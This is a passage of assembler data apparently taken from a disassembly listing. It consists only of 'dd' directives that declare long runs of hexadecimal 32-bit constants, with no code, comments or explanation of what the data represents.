		dd 3E3B8A6h, 0ED818641h, 2C79182Fh, 16C196h, 73ACB52Bh
		dd 28004871h, 3B47D5Eh,	0EF2D38h, 0CCE96E3h, 6394D237h
		dd 0FE28FB60h, 0F02081h, 0CA887EAFh, 6B5918CDh,	265C3CB8h
		dd 7CC22EF8h, 65E1DB00h, 3EF373DAh, 54803790h, 5D59F215h
		dd 2A006EF9h, 0DBAADFA1h, 12C95372h, 0CA3104h, 0C8A2B914h
		dd 61009823h, 8E03D03Ch, 1DC0D3h, 50650260h, 0B906E349h
		dd 5E809700h, 9AB4C64Eh, 0E61D005Ch, 32593CABh,	35006084h
		dd 0B2882D1Eh, 7669701h, 0F106561Fh, 0D40C70B1h, 2001EB7h
		dd 78E87793h, 1F94121Ah, 58681382h, 0C15A98E3h,	16AAD300h
		dd 8B592CFDh, 4E5D00CCh, 0FA146D70h, 0B0C06B9Eh, 0C9F61A16h
		dd 0EBE812D7h, 60A10E75h, 0EA37A6E0h, 0B4005EB6h, 1A74614Bh
		dd 1ED2DE5Ch, 409EDF42h, 7A233D6Ah, 0CD00F910h,	0AE8971D7h
		dd 338C2E8h, 835F981Ah,	73975305h, 87E40DD8h, 53A2B7F3h
		dd 283DF8A0h, 0A70E8724h, 0B3A0E53Ah, 70C07Fh, 5EEC14B2h
		dd 8E1FC85h, 7C820F01h,	9E6653DAh, 0DDF004D5h, 96B800B1h
		dd 0F85E106Eh, 0D0B0FA07h, 0A750EA00h, 330FDC02h, 7E9D7C49h
		dd 39E6EE63h, 980FEDEh,	0A705AE8Ch, 0F3046F76h,	0F6E79DA4h
		dd 55C4C0A1h, 1EE900D3h, 0B15A30B2h, 7B008F2Dh,	4F084886h
		dd 48CEA62Fh, 0A109B9F3h, 308EC50Ah, 0DD210BC2h, 0F82444C8h
		dd 6F50221Fh, 0E7F1B300h, 7971CC5h, 4D9E948Ch, 4011A07Fh
		dd 95060AA6h, 6224F92Bh, 0F09E0011h, 0DE217DE3h, 0E07E33B0h
		dd 26E5B01h, 57AE53C0h,	0C6DBC8h, 0EADFE98Fh, 0E1B1DE3h
		dd 9D717B04h, 0D2848391h, 3B46E4B0h, 828E7F17h,	4AE07A8Fh
		dd 43B2015Ch, 63C65A0Eh, 32254058h, 0DE2F81h, 46270A12h
		dd 0E604688Dh, 0EFED5900h, 0A4DF47CBh, 3699003Fh, 0F479FE28h
		dd 7D0FB503h, 0E0706B39h, 0EB87FF25h, 7B080769h, 0C040C98Eh
		dd 10B3D2Eh, 0A96FE200h, 8B164B17h, 0D3940080h,	34E84C33h
		dd 960235BBh, 0C8A18A67h, 9494C0A4h, 0E29800FCh, 7D816B4Dh
		dd 0CF79F932h, 211CC017h, 87D72087h, 637397A0h,	7EA10079h
		dd 0BCB91DF7h, 6A00033Bh, 0A9DC6D1Bh, 0FBC1B8h,	0E0E5D7ABh
		dd 0E60E79F2h, 1000D7Ah, 0C2AE4BC8h, 0E3FC37Ch,	0E89567F4h
		dd 813002C3h, 0FDEA68CEh, 0CB04B279h, 0B56DB8F1h, 366CA0h
		dd 7D2C6009h, 4E4D8F61h, 0EBE3E100h, 223FC540h,	0C5DF0FDh
		dd 0D47A7680h, 94A0F458h, 8900B835h, 6E0BB177h,	26235D71h
		dd 179BEF19h, 0B5CC00A0h, 0DF48B73Fh, 0DECA7F03h, 9028BD35h
		dd 7623D68Ch, 0C8BB1CD0h, 4CA651h, 0CD592DD2h, 57008B0Ah
		dd 0ABF7D069h, 0F24CE279h, 899000D3h, 209A134Fh, 32016DFAh
		dd 0F334FE76h, 0B83018D1h, 9C930Bh, 0D5F6787Bh,	4D138AEBh
		dd 400ED10h, 70DC3025h,	69500AAh, 81DA0ACEh, 0E31354E2h
		dd 17009DF1h, 0FBEE304Ah, 787A026Eh, 420CBDA8h,	9B86E060h
		dd 69AE4Ch, 0FB118D76h,	48C36C55h, 76B45Ch, 2BC7A416h
		dd 0DC340222h, 9347B100h, 280E607Eh, 92CC1C95h,	4D460004h
		dd 1049CADAh, 0AE003894h, 0E0B2301Ch, 0EF8601B8h, 5CCD72FBh
		dd 3A688520h, 0F800053Ch, 0BB3E63A2h, 0EABA282Ah, 0C41C009Ch
		dd 331AEF29h, 5E03F3B5h, 208705Fh, 5A86E809h, 43F2DBh
		dd 2A77A0FFh, 0FB3CCAB1h, 20E5DF1Fh, 9D420402h,	0C023E2A5h
		dd 24DDFF55h, 1F8525Fh,	933A723Ch, 0EAE1C895h, 1174800h
		dd 0D1092EF5h, 9025007Eh, 9C4ED90Ah, 9209A7EBh,	80BBC623h
		dd 4196A124h, 3B5E38BCh, 3CB888Fh, 4401A4C0h, 8930F0A9h
		dd 1A4AC040h, 8AFD009Fh, 504162C3h, 70F1705h, 0E09651CEh
		dd 0BF6E337Ch, 859C1A43h, 38C388F5h, 9E4C45D0h,	47E82800h
		dd 2B41C517h, 4837003Ah, 0D2B64B8Dh, 1117DBEAh,	7007CD3Fh
		dd 4457C6AAh, 0C2D7C4D0h, 36F2BBh, 344E273Dh, 68CF9F98h
		dd 0D5658000h, 0A5AE96Fh, 428B1219h, 0F97C01F0h, 401B0FD0h
		dd 714DAC82h, 3F9C0B00h, 0D9E3D424h, 0FC4FF2CDh, 0FE5C01EAh
		dd 0AA3DBA85h, 0A2DFF452h, 8A0024E4h, 11135D88h, 6FA347h
		dd 80854143h, 6A55025h,	0ABFED6C0h, 5198E99Ah, 0C440E838h
		dd 0DCFC2E57h, 0C9FDC318h, 2903774Ch, 0D6BFD091h, 0F76298E6h
		dd 803500EEh, 8EB640D2h, 0DA0091EBh, 0FBB34DF3h, 78C6D7h
		dd 4CDD572Eh, 1E2751FEh, 87F6CF0Eh, 0BD77E363h,	1AFF90DCh
		dd 7D8FC45h, 36F897AFh
		dd 4CB81047h, 0AE00CA16h, 481D791Bh, 0F4331868h, 4793090Ah
		dd 3480DF1Ah, 9F502E60h, 35CDB800h, 0F6F31623h,	190E01DCh
		dd 0BE890471h, 8C3CF82Fh, 6D56FD1Fh, 0EC5BC9h, 0DEAB31C2h
		dd 0A9EE0028h, 714C9FA0h, 0D1F8245h, 86C1BB03h,	905C2F95h
		dd 0C6A070h, 3F671ECFh,	0C1825B6Ah, 0BC7E2800h,	0C38DF7A8h
		dd 692E00C4h, 6E51437Bh, 0F900AB95h, 0D83A2C20h, 0E8A85C7Fh
		dd 0D3010554h, 0C012CAD4h, 4E13EAC4h, 0E7140E01h, 0F6884397h
		dd 0EA0D5D70h, 0C045006Bh, 64276019h, 0DB982653h, 0A7010C90h
		dd 6A384255h, 0A42CF657h, 0C6D4004Fh, 1EB4019Fh, 0F10043F4h
		dd 0B25E5475h, 18871DFAh, 28D6C009h, 6E7C27B0h,	1128E901h
		dd 0FB5C4E42h, 50F3C034h, 991835Fh, 92C21DB4h, 0BB51481h
		dd 0ECAEF1D9h, 49001272h, 0D415385h, 0D261C1h, 6E4BEDD6h
		dd 0B1CE7A7Bh, 59D1D01Fh, 0A48EB0F0h, 97051A07h, 0DEDEA969h
		dd 1EAB5B03h, 29B48845h, 79AC03EBh, 4C78A45Ch, 0B232290Ch
		dd 34A882h, 0EFF2B550h,	186169AFh, 0A06CBB0Bh, 596C2029h
		dd 7F093981h, 85280115h, 0B465385Ch, 3CC0CEE2h,	3F1DB16Fh
		dd 68CAF6BCh, 9400D44Ah, 35C2D98Ah, 99BF0189h, 0CAAA16ABh
		dd 755FCC26h, 4E004877h, 85EBC887h, 3C7F8B1h, 1AC5276h
		dd 0E4E08ADDh, 1309B907h, 205A4C71h, 0DB38D114h, 27350286h
		dd 8F190FE4h, 9D0348F8h, 8A460BA4h, 66F802AAh, 7EF3E6B7h
		dd 0F9439C81h, 3A87E49Ch, 0B9D94930h, 3A1B679Bh, 94937960h
		dd 6FF4436Bh, 9DE07790h, 0E6007C0Dh, 112345C9h,	121913h
		dd 32E04BFBh, 0BC44B199h, 0A6B98806h, 4689AD8Dh, 0CD500013h
		dd 377DD453h, 49CB482h,	34378B7h, 3C660BEEh, 0E800F611h
		dd 0C008118Ah, 59D0E685h, 0F13300FFh, 98B5AA13h, 0B18E1DEDh
		dd 4F2E88h, 25740DD3h, 0BE0028ABh, 40F4440h, 2C727173h
		dd 7AD5032h, 3C784347h,	0D1006410h, 0D6F8E16Eh,	8D31B7h
		dd 8E04FDEEh, 710C20EFh, 0B4AD1204h, 5340F97Eh,	0A49203E4h
		dd 0E3957F1Eh, 0A284B100h, 92230560h, 35821210h, 21D042EFh
		dd 23C155BEh, 413424FBh, 1A943A04h, 0B4F0E069h,	0C77E3C24h
		dd 11320BF7h, 7E786639h, 0CA3511Fh, 5849470Ch, 3B81040Bh
		dd 81A5176Bh, 40677642h, 535083DCh, 5441F10Eh, 80424904h
		dd 0F9D48598h, 784900A3h, 59BC9CA2h, 0C813B13Ch, 0DC07C748h
		dd 3E40576Dh, 7EEC362Ch, 0DD9705C2h, 0C07DAEFDh, 9EAC2940h
		dd 0FA0EEF00h, 3EEC0B88h, 4AF33E62h, 2B1C2380h,	0DE9FE8A5h
		dd 91F63000h, 0C4897A8h, 43D13882h, 0A520A694h,	56D05909h
		dd 0CD5FD000h, 242C6A1Fh, 3500A011h, 6D216588h,	7A8000D5h
		dd 0D84F7F49h, 14002513h, 22C4353h, 83D9FBh, 3F829869h
		dd 991F360Dh, 2B1C9375h, 0F5022AB0h, 5CD0D563h,	0AAD80050h
		dd 44072194h, 1B69AE01h, 1E182EAh, 4EC39850h, 3DBC1EBFh
		dd 0CC5DC076h, 0C6D55811h, 29468F0Ch, 3CCDD05Ch, 260EF173h
		dd 0A500D2DFh, 29D927DCh, 77A4E33Ah, 534A5E12h,	6936A840h
		dd 282940Ch, 6C1A549h, 8492F4Ch, 8DE020DBh, 12BC0402h
		dd 20554D08h, 0E6DA072Ch, 0BB85E902h, 0C3CE8E1Eh, 0EF73F8C8h
		dd 686639AEh, 0F29FF000h, 0D5C2DB6Dh, 35006BF2h, 0B08340DAh
		dd 179E73AAh, 0F3A6F70h, 93CF9A1Eh, 9C22B5A9h, 0E45CEFF7h
		dd 4EF3A930h, 7EE1E4C7h, 0AFDC0335h, 0E5EEAB2h,	66EC541Ch
		dd 0C5C328F4h, 0D020F2EDh, 0CC970A88h, 16A0F5CBh, 55AC00C5h
		dd 1CDE6D65h, 62E83E1Eh, 0ED943240h, 3D20879h, 0F045122Ch
		dd 2AF89067h, 0F700736Dh, 0F1FCD613h, 997B827h,	56559138h
		dd 9F599CD8h, 0FDADC730h, 57CF7330h, 2D430372h,	6C8A07F7h
		dd 18EF213Ah, 0CDD94A98h, 0BF450248h, 0ED77AA97h, 60187878h
		dd 8B6CA459h, 82B3048Dh, 0C0D33320h, 0EF89142Ch, 0D523A91Dh
		dd 9C6A4940h, 9F02A3h, 17719DF8h, 134AFBF4h, 0D5C30912h
		dd 4D431F00h, 13C75CABh, 47214122h, 42A29Ch, 9DFE0693h
		dd 8C7FEEC0h, 9A70183Fh, 0A5D622CCh, 0D35E509Ah, 0B2639003h
		dd 4C909C31h, 0B3E32ED9h, 27A0208h, 3CC52BA0h, 1DFCD182h
		dd 59645C61h, 53C67F5h,	9D5AB7DFh, 5D1F9C40h, 0E99DDF2h
		dd 667EE330h, 67D9C9A5h, 0C15C803Ch, 5900FC39h,	1564B980h
		dd 0D9775CEh, 49989AB8h, 0F896C4D0h, 0B300997Ch, 1F4D0F6h
		dd 184EE4A7h, 992A31E5h, 5673E0A9h, 13200900h, 835FF106h
		dd 8640B37Dh, 8934AA5Ah, 0D54E7C01h, 792392A9h,	0B095A0D8h
		dd 853800C8h, 24F9CCB6h, 0D100E394h, 8A6AC9Ah, 9C299C6Dh
		dd 34E71708h, 0ECB03028h, 44B0EE3Dh, 0FC391728h, 0A3BE8880h
		dd 0E8CD5200h, 0D9B24ADFh, 406201A8h, 0C176FF5Dh, 0F3D8829Ah
		dd 0C0E1A202h, 0C3AD4Bh, 84DDD545h, 71389D63h, 77AEFB1Dh
		dd 2D2CEFE5h, 0E2A33020h, 1A58A2B8h, 0C94E1D91h, 5063BEC0h
		dd 0FAE89447h, 35EDE1B5h, 0A99F1180h, 49E39BB0h, 2454C63Bh
		dd 15B928ACh, 1A0D579h,	7E366B4Fh, 802410A3h, 7B751B62h
		dd 77902128h, 0DB2AC731h, 785A940Ah, 0C86C840h,	791EEC5Dh
		dd 0F6ED004Fh, 0CA972F3Eh, 450BDEF5h, 9E8CC07h,	0F81410A8h
		dd 86714070h, 111B9D30h, 7E80619Eh, 7626C0E2h, 0DF6851DCh
		dd 4FCCB000h, 5C8FDB71h, 763F406h, 601A2421h, 0FF4E20B5h
		dd 0BC005AFEh, 4169A7A3h, 1CDE805Fh, 2F4CE5Bh, 0EEB15112h
		dd 0D325CC0h, 0AF607000h, 0DE7FAEF0h, 0BB753E22h, 5C1D5885h
		dd 0FD508048h, 9A01A85Bh, 0F34B6F10h, 586020CCh, 0ECCE754Fh
		dd 0AC2F0777h, 277040D1h, 0BD8A3022h, 33072AD4h, 7658E4Bh
		dd 3C770240h, 29353905h, 26127848h, 0B9C0A01Bh,	2E109F00h
		dd 0CFF97C54h, 5C46259Dh, 5327060h, 0C05AF300h,	6A28CEECh
		dd 104F275Bh, 0E1D46848h, 0A5520507h, 3BC0A2F4h, 4E6F2F88h
		dd 9124900Ah, 0A50038F2h, 28C60C1Ah, 515BC23h, 0D1C4181Dh
		dd 0E7A0B4EBh, 39EFC203h, 0D83DB055h, 1217D2Bh,	0EA44A213h
		dd 0ECB8DF22h, 3660101Bh, 9FF875C0h, 3158043Ah,	0D0F1EF1Ah
		dd 4EBA640Ch, 95CAF5Dh,	0C0A86DD2h, 0B8C17568h,	0F18E0054h
		dd 0F2E9F438h, 1001618h, 0ABFAEBF5h, 0F6998Ch, 8D21570Dh
		dd 0E91A77D3h, 9AB7D701h, 0E40E95C4h, 1E384862h, 190948C9h
		dd 32809BEAh, 0FCE832DCh, 0A3CA900h, 771D11A7h,	16BC182Bh
		dd 5CB990D5h, 65AC3D00h, 0A0710DAAh, 0F4D8E568h, 2F3700EAh
		dd 0AEE897DAh, 3550F8E9h, 0BC038590h, 0FA268E13h, 0EA21001Bh
		dd 823BCB9Ch, 5C005427h, 9EFD2284h, 746CF8Ah, 0DD4D4A76h
		dd 916A70D4h, 6524415Dh, 98281AC4h, 3128C360h, 18EAC80h
		dd 58BD937Fh, 323C6813h, 0E4978134h, 0D2E86D38h, 9FDF6CBh
		dd 0F0F46C55h, 0E5317080h, 0F32617D3h, 0A300A4F6h, 34ACB860h
		dd 8362006Bh, 3E01B4EAh, 0CE01BE36h, 46BB4A38h,	98328A39h
		dd 4CB040D7h, 0D244236Ch, 74252003h, 9665EB0h, 0E827D0CCh
		dd 48A5DCA2h, 748D4F25h, 93011833h, 8B04F62Eh, 0EBF710B5h
		dd 0DA0B0298h, 0EA15E2C5h, 0F157D4C0h, 93843Eh,	86129127h
		dd 381DC08h, 28B5AACAh,	65F81F55h, 0A107D66Bh, 0D3D0A39Eh
		dd 3DC29F00h, 61109690h, 32A64A07h, 1C27C4CCh, 0D224E2h
		dd 0BD1FCEC8h, 490174EAh, 0B90AC61Ch, 745224A6h, 300013A0h
		dd 0EDA61ECFh, 1242E873h, 2F08AE2h, 0AB895964h,	7BA44C0h
		dd 3E9CFC4Dh, 249D2E7Eh, 40D36760h, 4F0D0463h, 0B387B99Fh
		dd 2491054Ch, 9852CC2Ah
		dd 2D13006h, 938A24D0h,	0A97681A8h, 2DA68D78h, 78E5938Ch
		dd 0F2EC1835h, 348E48ADh, 0C0B7D31Ch, 0DB385A77h, 0FF282C2Dh
		dd 7539FC0Fh, 19A1034Eh, 0E03FC572h, 5422501h, 457DFC1Eh
		dd 0E850664Fh, 363B0500h, 0F8833EE1h, 33D50066h, 46A1719Ch
		dd 0FF485E48h, 0D80D099Ah, 52B202E1h, 35CCFF8h,	2DA8EC7Bh
		dd 854FAEC0h, 2000B4B8h, 2E26C882h, 30417466h, 3D38C9A6h
		dd 9E007801h, 0B954D8CDh, 1F9F72D0h, 40041E65h,	951CE288h
		dd 62F6710Ch, 80A9B738h, 42B60DECh, 0F47848h, 11010A72h
		dd 0EABFBC4h, 0EA507C02h, 614957FFh, 0F9CC2908h, 0A9D60013h
		dd 0EE2458CFh, 6F175F6Ch, 0A04BCAAFh, 0D2C4E0A7h, 0A8817DF9h
		dd 9E2D9D8h, 51F04D9Bh,	8C35B460h, 1A9E390Eh, 33D261C1h
		dd 9464B35Ah, 477702F8h, 0C53AC4B6h, 62578660h,	9080452Ch
		dd 0ADBD053Bh, 60C85271h, 0C2223E93h, 6CA43001h, 60489988h
		dd 63004494h, 4D3F6B2Ch, 0C324D4h, 60A49A2Ah, 0C8038630h
		dd 0E051D63Dh, 3E63F7A0h, 0A5690092h, 8394ED9Ah, 0F52C5F4Ch
		dd 50012332h, 9889BA68h, 2ADF420h, 25BE13A4h, 98C0147Ch
		dd 880121FEh, 0BAC7F91Eh, 0FD1C3BBh, 28F3CD4h, 0FC9FE01Fh
		dd 0D0C0B58Ah, 7000CC69h, 1C434014h, 76267EB8h,	0C1E20023h
		dd 38CC354h, 531CAEB5h,	8C640993h, 5FD58A01h, 3CF446A2h
		dd 0B1CBC89h, 600E6D0h,	0BE20AF8Eh, 0C4683F0Bh,	0CB3C804Dh
		dd 0EA6E3BCAh, 42B8026Dh, 2541B401h, 1E5C6C50h,	81AB3A5Bh
		dd 0F10219Fh, 0F7EC20CFh, 45A717D5h, 9960B94h, 0AF014C7Eh
		dd 3E43771h, 0EE07F5C0h, 0F4A090D4h, 1CB67ED2h,	0B93951B3h
		dd 0B7464280h, 0DA4378ABh, 15C451Fh, 0ECEFDFC0h, 76675Bh
		dd 0A57FD8Eh, 0F5A44826h, 470F20F2h, 0E0EDD95Ah, 7C06CE07h
		dd 0A7AF00FEh, 1A08BB1Dh, 3092F1E3h, 30D039EFh,	861DC81Bh
		dd 4BC32434h, 3F270018h, 0EADFAA10h, 30054A13h,	975ED500h
		dd 17E8B2Bh, 0FD9AE8CDh, 0E1ED69F8h, 2014205Fh,	5AB03E00h
		dd 3530DA3Dh, 0B973ECh,	0FF72C932h, 8CEB6F5Ch, 60A081C8h
		dd 907F8637h, 0CD5D3F02h, 42C6C116h, 30E46085h,	774500CEh
		dd 92C40C9Ch, 0D750BCD3h, 18094B8Ch, 0D99FA0B5h, 8DA04FECh
		dd 16885ED7h, 0A2047D00h, 9D0D555Bh, 60EC0167h,	84B69557h
		dd 3AF1809Fh, 2250AE4Ah, 61F0F7BEh, 0BA2500AFh,	0FCB4F838h
		dd 0A5010B88h, 96756477h, 84D4BEE4h, 0AF390104h, 0C120BF08h
		dd 8921E03Ch, 0CB7DC700h, 1278864Fh, 4BBEA6Eh, 809CA45Dh
		dd 0C08E849Bh, 0B4DD33F0h, 75882F00h, 5148F966h, 0E7BB00CAh
		dd 251852F0h, 0DCE195B0h, 200F3C4h, 0BC11DB6Bh,	1E1E8329h
		dd 858F080Bh, 4E22EFh, 0A82658A8h, 0C54BB0A6h, 0EEEB34C0h
		dd 11F2E4h, 0B6812C49h,	841495C7h, 58EF500h, 0DAC453FEh
		dd 8309125Ch, 0E1E60136h, 0E8440798h, 3A02AA5Dh, 0BE39BB03h
		dd 3E44D4FDh, 156D0FF2h, 49008160h, 0B8A8FEB5h,	486CD502h
		dd 0E8728555h, 5E44FF2Ch, 6E7EF0AFh, 828E0C27h,	0C0E1170Ch
		dd 1D067Ch, 0BDAF933Fh,	0D013EEC4h, 0ECB45D00h,	0D3F35B96h
		dd 6E1F00D5h, 8843DF23h, 172C26C1h, 0F0304D03h,	20B9D0h
		dd 85DD68CEh, 6404753h,	0EC3E0C06h, 0BAF7C1h, 99AC627Fh
		dd 619D674Dh, 52BF2B03h, 0D03B8241h, 1793D55h, 0E09C9210h
		dd 8A392D35h, 8F16A136h, 65442826h, 0E4F6BF40h,	7F00EE77h
		dd 3CFFA50Dh, 3588F7h, 0E007E553h, 48651542h, 2F008E73h
		dd 3443D41Bh, 94512DADh, 0ECFE00C8h, 7181ABF1h,	0C6275700h
		dd 0E7E1372Eh, 440B3BB5h, 0FA795580h, 0D972E43Dh, 0FD768400h
		dd 0CBD7B3A2h, 323700E6h, 0ADB96C3Fh, 0EAEA6D0Ah, 27F49D41h
		dd 1A41CF2h, 0C2F745CDh, 0B7D49228h, 2C866C0h, 0B855D12Ah
		dd 1C1C315Eh, 0B6305E00h, 16CBF409h, 7E7FDAh, 201F672Fh
		dd 0EE005427h, 26ED7D4Fh, 0FE2169h, 0C33E5CE7h,	852FE0B3h
		dd 7BA11E00h, 1C3D23DDh, 418B808h, 0C8FECBB6h, 5C34ED0Eh
		dd 43007D70h, 54C765F9h, 927857h, 0A1890572h, 0D0A9D917h
		dd 453F1E00h, 7094A2BCh, 2A5C1776h, 6B4001Ah, 0ACBEC09Ch
		dd 25F822E7h, 0D530C06Dh, 3CDF4EDh, 169FAA70h, 17B00998h
		dd 7F12F1EFh, 0DC1DE60Eh, 0CA9000EDh, 329FD8h, 9BF8EA2Ch
		dd 15D17335h, 35C0548h,	0EEF7B98Fh, 2E117734h, 17FDBBh
		dd 3C9FC4EDh, 1807C9F4h, 0E283BCA6h, 17280706h,	0C1CB85h
		dd 538DEB04h, 3250F106h, 820B43C0h, 0F97B9Dh, 68B13F78h
		dd 341E836h, 0BF9944A8h, 9DE00E30h, 0FD1E7085h,	80004E8Ah
		dd 99A31442h, 48580E12h, 0C6430FC4h, 0AF88C19Fh, 61F40964h
		dd 7303B507h, 60C13C51h, 0B034F365h, 1314002Dh,	3A822887h
		dd 340006A5h, 98558D71h, 995A865Eh, 0FA003C0h, 80FD73D9h
		dd 0DE15C98Eh, 0BA4EAF02h, 0F4FCA63Fh, 0B3610044h, 33375C31h
		dd 220815Ch, 41FF57B5h,	430DEE5h, 770735Eh, 93F0AA26h
		dd 7F292Ah, 6BF9C652h, 2BD427D7h, 2D824738h, 0BCCECD5h
		dd 75AD4440h, 80EF7804h, 370AC418h, 18BE4501h, 61F6ED94h
		dd 4FF12E0h, 93778D92h,	0DB64C0FCh, 0C00FB98Ch,	0FF041B2Eh
		dd 0A1859200h, 210A5C2h, 0A99562CFh, 0BCF4EBD2h, 2A07C380h
		dd 86DF69h, 17AC0664h, 92F53971h, 1F0038BEh, 0BE822329h
		dd 6A09164Fh, 814C0058h, 0A24C1279h, 66A5B002h,	40AC0E14h
		dd 3CF88930h, 0A79CDD57h, 0E895002Bh, 873A04F5h, 2E7B0701h
		dd 0BFB22DBDh, 17359460h, 82D0E0h, 869D7338h, 2C1F1E1Dh
		dd 3340A2DEh, 9FB9EB8Dh, 6D041D25h, 0B278CEF4h,	9AE1AF2Eh
		dd 206B0DB0h, 39009BFAh, 1099E43Ch, 236762Ch, 0C802D5Dh
		dd 79CD29h, 10846DEh, 0C0E08AC1h, 3834CDD5h, 0D20F0044h
		dd 0C49856FCh, 48945536h, 24FCF42h, 0BA6133B2h,	94003BDBh
		dd 87EF098Dh, 0C6570404h, 0A01E5160h, 755EB670h, 9433E4C0h
		dd 46814C56h, 34CF8000h, 5EA69390h, 398EF14Ch, 23C70F09h
		dd 0B68380E9h, 0F00669AEh, 0AACA0389h, 81B325EAh, 3D0F35B0h
		dd 468FC500h, 67ED2F77h, 0D40D3C14h, 1E5FC1Dh, 0AB20E25Fh
		dd 7A74704Bh, 5C805D00h, 0D6394028h, 0F5CA0288h, 68015119h
		dd 0C4A9B060h, 4AAF7000h, 616F5736h, 0ABA2001Eh, 0A747019Ah
		dd 69EE0B68h, 0DAA44100h, 18859FACh, 0FDEC008Eh, 2ABB05FEh
		dd 0DD3C165Fh, 0C100F6A2h, 0E0880DA4h, 0A5DCF62h, 0AAEF876Fh
		dd 32B401F0h, 0CE79ADh,	2924D6h, 0F49B9B3h, 6C665E60h
		dd 98FFC924h, 7782AC06h, 9D7500A8h, 7D1CF1CAh, 4B091AD5h
		dd 70BE80BFh, 91040EA4h, 0E542C275h, 0F0870B92h, 0E8DA151Fh
		dd 3018C048h, 0DB25E6h,	0D9FB27AFh, 6D0F9B94h, 1D80C89Bh
		dd 55B69C33h, 0B0EF5D46h, 80561101h, 40F23ADCh,	38A644F8h
		dd 50404DE4h, 4CED2048h, 1C70DF4Fh, 8FB32Eh, 0C981B16h
		dd 69766681h, 0E7962203h, 0C89547BAh, 121F1E4Ch, 0E72CB31h
		dd 40E046C8h, 54445923h, 50166F40h, 4C48EEA1h, 0AD186037h
		dd 5C082A1Fh, 8C61B300h, 0D577AE9Ah, 0BA9605EBh, 0A0295295h
		dd 0FD741544h, 49D3B704h, 18E06558h, 2848C0DBh,	3A99661Bh
		dd 0A013E04Eh, 0AE18C8B2h, 0FDFCF0E3h, 0AAACC10Eh, 853AE05Ch
		dd 2CF7858h, 146CF2F0h,	3421B353h, 9E9060Fh, 0B880F4E5h
		dd 0EFED50C2h, 9900A054h, 181C5BA5h, 0C0B4FC7Ah, 45682980h
		dd 7301449Ch, 947C2383h, 0AD0F441h, 31F213D7h, 8DD0023Dh
		dd 99050D79h, 5300C4B2h
		dd 2B962077h, 50D695B0h, 11DC7402h, 0EA10C484h,	710C0090h
		dd 6445A27h, 0FB09E26Eh, 608E4DEEh, 2DA2AFE4h, 5840BC91h
		dd 0EEF59472h, 4935EF40h, 0B8903C00h, 4CF8C168h, 4740B5Eh
		dd 88D0BD41h, 0F7C70C07h, 238763B4h, 0A2DBEF60h, 0E81F0945h
		dd 3A80D786h, 99CB75A0h, 315AA100h, 6348C9BAh, 6D4000D2h
		dd 0B925E857h, 7D0947B7h, 0E128E203h, 99939A5Ch, 2FFCB072h
		dd 0DF606901h, 0A65C2680h, 1B78ECh, 0C9963687h,	0A7F3E5C0h
		dd 5E447200h, 0FEF0099Ch, 5A240058h, 7DA34E99h,	44B8087Ch
		dd 8C509A16h, 0C75A10A2h, 54F189E0h, 1BE8CB18h,	0E4FD80ABh
		dd 80B91F25h, 0C63E27E0h, 0FB0A0081h, 7DA0F0AFh, 300049C4h
		dd 3A96403Fh, 3EBC8B1h,	56B68DBh, 1DF0BDD1h, 0B3004948h
		dd 0C3C7F6ADh, 38C10AC9h, 87004227h, 0DDC23611h, 2971AC74h
		dd 0EF0F9A1Eh, 40893340h, 2ABD310h, 41CECC2Eh, 8E804B88h
		dd 4347AA50h, 21D50700h, 86B4C1ECh, 4B9F00A0h, 2BFC8298h
		dd 12D39C5h, 0B5500371h, 4640F010h, 6BDB04F8h, 0AC441F7Ch
		dd 2FE70038h, 0C90E56A3h, 5B7900C2h, 0F898E1E9h, 0B501038Bh
		dd 0DAC7A96Eh, 18344D85h, 0B9800252h, 3B33CBECh, 0E4B10068h
		dd 0CDA8C895h, 3A147260h, 623A70F3h, 0FB1D20Ah,	0CACB0610h
		dd 0BB033934h, 0B9B0A045h, 7244A04Dh, 1F18DED8h, 0AF81003Dh
		dd 0D44FB321h, 0E690F00h, 304AF271h, 0B1520056h, 74A267F3h
		dd 1F382D70h, 12CF8103h, 147F7316h, 258E3BFCh, 700F2364h
		dd 0CF1A2800h, 3A602940h, 68CDD381h, 0FBE58808h, 10F14400h
		dd 0ECF31C1Ah, 5C9635h,	80CCD30h, 0B0C775BBh, 0E04E2833h
		dd 0C84035B7h, 674D0790h, 60836DD5h, 82454C95h,	0B43C5F00h
		dd 0D2D95CFDh, 0D8150004h, 75764E4Ah, 0C6006CF6h, 744D1006h
		dd 1DC5188Ah, 0E5DF59h,	0E0D30555h, 0CD00FC28h,	689C4B8Dh
		dd 72A646ACh, 1C650E7Eh, 0BC238A33h, 71D09896h,	4D03AD5Eh
		dd 5B562ECh, 4052A8B7h,	0A9E50EEBh, 72C3D9AFh, 7CC381B8h
		dd 8A5677E8h, 0C02D0700h, 4EB62CBEh, 4CEF00A4h,	8EEA88BCh
		dd 6C0FA870h, 0EE52966Bh, 0ED4E00C6h, 48D90Eh, 0E5DA1C5Ch
		dd 0F72D4D3Ah, 0BF22E300h, 0D4F4C4BEh, 0B5B80989h, 403729Ch
		dd 2DA05B64h, 0E9008F3Dh, 818E8724h, 5BA899Dh, 0B11E162Ch
		dd 0AC85C348h, 0A7971111h, 0FAABBD80h, 2D405A3Dh, 9C481AE4h
		dd 1E5741B8h, 98E7302Ch, 800C9211h, 49E422h, 1177B4ACh
		dd 781448F3h, 0A109CB64h, 9C8C40D0h, 15DC0077h,	0C36120B3h
		dd 690D0BD6h, 61318E75h, 8FCF4640h, 7E8A2E3h, 1E424B3Ch
		dd 3FBC4414h, 8600882Dh, 40D8E4EBh, 8CCF4F0h, 3F4F215Ch
		dd 0E28A0D82h, 24E465h,	0EC696F1h, 0BF1F8EC4h, 0ABD6183Bh
		dd 0DDF3F606h, 41D01B81h, 6FC8B1D6h, 7E0312B1h,	140FD1D3h
		dd 0C8CAF75Ch, 10313718h, 0B6090016h, 8A065B9h,	8CCB5B1h
		dd 3F221CBh, 426E091Eh,	0C3DBF3D3h, 5E7D1974h, 91F12E00h
		dd 53C0B987h, 6D650EFDh, 0B685063Dh, 6CB84047h,	9C1902CBh
		dd 0D07D3C00h, 716EEB6Fh, 8C745001h, 85048C1Dh,	0ECEBE10Dh
		dd 0B6225E62h, 77026087h, 8C64015Ah, 137914D7h,	12218242h
		dd 0E098AF9Eh, 0ED63DFh, 3AD8B674h, 0D999DC28h,	0C7E81805h
		dd 0D059EBCFh, 0D3188B80h, 0EB870D08h, 5C5FC4FCh, 602BA0B0h
		dd 0F2463A61h, 0B76A1961h, 41F18A7Bh, 7163C0CAh, 1CE9230Ah
		dd 0E40D8E01h, 19F4EBh,	0D804D64h, 863C4F01h, 0C36C1FE7h
		dd 90CBD142h, 6E3FF4h, 708CA9F0h, 0A09754E3h, 10DCF500h
